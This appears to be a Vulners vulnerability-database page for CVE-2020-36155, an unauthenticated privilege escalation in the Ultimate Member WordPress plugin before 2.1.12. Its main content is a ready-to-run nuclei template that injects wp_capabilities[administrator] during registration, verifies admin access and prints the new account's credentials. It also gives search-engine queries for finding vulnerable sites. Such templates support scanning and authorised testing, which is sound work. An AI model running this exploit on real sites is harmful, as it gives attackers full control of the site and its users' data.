Lucene search
K

Ultimate Member < 2.1.12 - Unauthenticated Privilege Escalation via User Meta

🗓️ 05 Jul 2026 03:01:21Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 12 Views

Unauthenticated privilege escalation in Ultimate Member before 2.1.12 via user meta during registration to set administrator.

Related
Refs
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2020-36155
4 Jan 202118:15
attackerkb
Circl
CVE-2020-36155
15 Sep 202516:48
circl
CNNVD
WordPress Security Vulnerabilities
4 Jan 202100:00
cnnvd
CVE
CVE-2020-36155
4 Jan 202117:22
cve
Cvelist
CVE-2020-36155
4 Jan 202117:22
cvelist
EUVD
EUVD-2020-23733
4 Jan 202117:22
euvd
NVD
CVE-2020-36155
4 Jan 202118:15
nvd
OpenVAS
WordPress Ultimate Member Plugin <= 2.1.11 Multiple Privilege Escalation Vulnerabilities
10 Nov 202000:00
openvas
Prion
Privilege escalation
4 Jan 202118:15
prion
Positive Technologies
PT-2021-11936
4 Jan 202100:00
ptsecurity
Rows per page
id: CVE-2020-36155

info:
  name: Ultimate Member < 2.1.12 - Unauthenticated Privilege Escalation via User Meta
  author: riteshs4hu
  severity: critical
  description: |
    An issue was discovered in the Ultimate Member plugin before 2.1.12 for WordPress, aka Unauthenticated Privilege Escalation via User Meta. An attacker could supply an array parameter for sensitive metadata, such as the wp_capabilities user meta that defines a user's role. During the registration process, submitted registration details were passed to the update_profile function, and any metadata was accepted, e.g., wp_capabilities[administrator] for Administrator access.
  impact: |
    Unauthenticated attackers can escalate privileges to administrator during registration, gaining complete control over the WordPress site and all user data.
  remediation: Fixed in 2.1.12
  reference:
    - https://wpscan.com/vulnerability/cf13b0f8-5815-4d27-a276-5eff8985fc0b/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-36155
    - https://wordpress.org/plugins/ultimate-member/#developers
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2020-36155
    cwe-id: CWE-269
    epss-score: 0.08975
    epss-percentile: 0.94633
    cpe: cpe:2.3:a:ultimatemember:ultimate_member:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 3
    verified: true
    vendor: ultimatemember
    product: ultimate_member
    framework: wordpress
    publicwww-query: "/wp-content/plugins/ultimate-member"
    fofa-query: body="/wp-content/plugins/ultimate-member"
    shodan-query: "http.html:/wp-content/plugins/ultimate-member/"
  tags: cve,cve2020,wordpress,wp-plugin,wp,wpscan,ultimate-member,intrusive,privesc,vkev,vuln

flow: http(1) && http(2) && http(3)

variables:
  name: "{{to_lower(rand_text_alpha(5))}}"
  password: "{{rand_base(8)}}"
  email: "{{randstr}}@{{rand_base(5)}}.com"
  firstname: "{{rand_base(5)}}"
  lastname: "{{rand_base(5)}}"

http:
  - raw:
      - |
        GET /register/ HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'name="_wpnonce" value="(.*?)"'
        part: body
        internal: true

      - type: regex
        name: id
        group: 1
        regex:
          - 'class="um um-register um-(.*?)"'
        part: body
        internal: true

  - raw:
      - |
        POST /register HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user_login-{{id}}={{name}}&first_name-{{id}}={{firstname}}&last_name-{{id}}={{lastname}}&user_email-{{id}}={{email}}&user_password-{{id}}={{password}}&confirm_user_password-{{id}}={{password}}&wp_capabilities%5Badministrator%5D=&form_id={{id}}&timestamp={{unix_time()}}&um_request=&_wpnonce={{nonce}}&_wp_http_referer=register

    matchers:
      - type: dsl
        dsl:
          - "status_code == 302"
          - "contains(header, 'wordpress_logged_in')"
          - "len(body) == 1"
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/users.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(content_type, "text/html")
          - contains_all(body,'Edit Profile','All Posts')
        condition: and

    extractors:
      - type: dsl
        dsl:
          - '"USER: "+ name'
          - '"PASS: "+ password'
# digest: 490a0046304402201a6d175af6b5e60c3fafe10ddf3ecf1d762e6ef3870c465b52a39cfc2c6e753802207775b966d2d23f37b832d8d07a50903812f62ed465909d0d7ef5b3bd9559bd7e:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation